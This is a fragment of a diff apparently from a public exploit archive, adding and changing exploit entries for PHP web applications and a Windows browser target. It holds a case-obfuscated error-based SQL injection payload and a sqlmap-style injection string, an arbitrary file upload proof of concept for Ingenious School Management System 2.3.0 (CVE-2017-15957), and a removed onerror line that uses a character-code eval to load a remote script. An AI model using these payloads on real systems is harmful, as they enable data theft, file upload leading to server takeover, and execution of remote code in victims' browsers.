VerAyari+aNd(SELeCT+1+FroM(SeLECT+CoUNT(*),CoNCat((SeLECT+(SELECT+CoNCat(CaST(VERSIoN()+aS+ChaR),0x7e,0x496873616E53656e63616e))+FroM+INFoRMaTIoN_SChEMa.TaBLES+LIMIT+0,1),FLooR(RaNd(0)*2))x+FroM+INFoRMaTIoN_SChEMa.TaBLES+GRoUP+BY+x)a) +# +# Parameter: #1* (URI) +# Type: error-based +# Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) +# Payload: http://localhost/[PATH]/download/Verayari AND (SELECT 4247 FROM(SELECT COUNT(*),CONCAT(0x716a717a71,(SELECT (ELT(4247=4247,1))),0x717a707071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) +# +# Etc.. +# # # # # \ No newline at end of file diff --git a/platforms/php/webapps/43101.txt b/platforms/php/webapps/43101.txt new file mode 100755 index 000000000..0504d53af --- /dev/null +++ b/platforms/php/webapps/43101.txt @@ -0,0 +1,29 @@ + + diff --git a/platforms/php/webapps/43102.txt b/platforms/php/webapps/43102.txt new file mode 100755 index 000000000..4bc47379a --- /dev/null +++ b/platforms/php/webapps/43102.txt @@ -0,0 +1,27 @@ +# # # # # +# Exploit Title: Ingenious School Management System 2.3.0 - Arbitrary File Upload +# Dork: N/A +# Date: 30.10.2017 +# Vendor Homepage: http://iloveprograming.com/ +# Software Link: https://www.codester.com/items/4945/ingenious-school-management-system +# Demo: http://iloveprograming.com/view/login.php +# Version: N/A +# Category: Webapps +# Tested on: WiN7_x64/KaLiLinuX_x64 +# CVE: CVE-2017-15957 +# # # # # +# Exploit Author: Ihsan Sencan +# Author Web: http://ihsan.net +# Author Social: @ihsansencan +# # # # # +# Description: +# +# The vulnerability allows an student,teacher upload arbitrary file.... +# +# Proof of Concept: +# +# http://localhost/[PATH]/my_profile.php +# http://localhost/[PATH]/uploads/[FILE] +# +# Etc.. +# # # # # \ No newline at end of file diff --git a/platforms/windows/remote/6880.html b/platforms/windows/remote/6880.html index 600eb0535..f59725193 100755 --- a/platforms/windows/remote/6880.html +++ b/platforms/windows/remote/6880.html @@ -104,7 +104,7 @@ function x() {
-<img src='x' onerror='eval(String.fromCharCode(113,61,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,34,83,67,82,73,80,84,34,41,59,113,46,115,114,99,61,34,104,116,116,112,58,47,47,119,119,119,46,114,97,102,102,111,110,46,110,101,116,47,114,101,115,101,97,114,99,104,47,111,112,101,114,97,47,104,105,115,116,111,114,121,47,111,46,106,115,34,59,100,111,99,117,109,101,110,116,46,98,111,100,121,46,97,112,112,101,110,100,67,104,105,108,100,40,113,41,59))'> +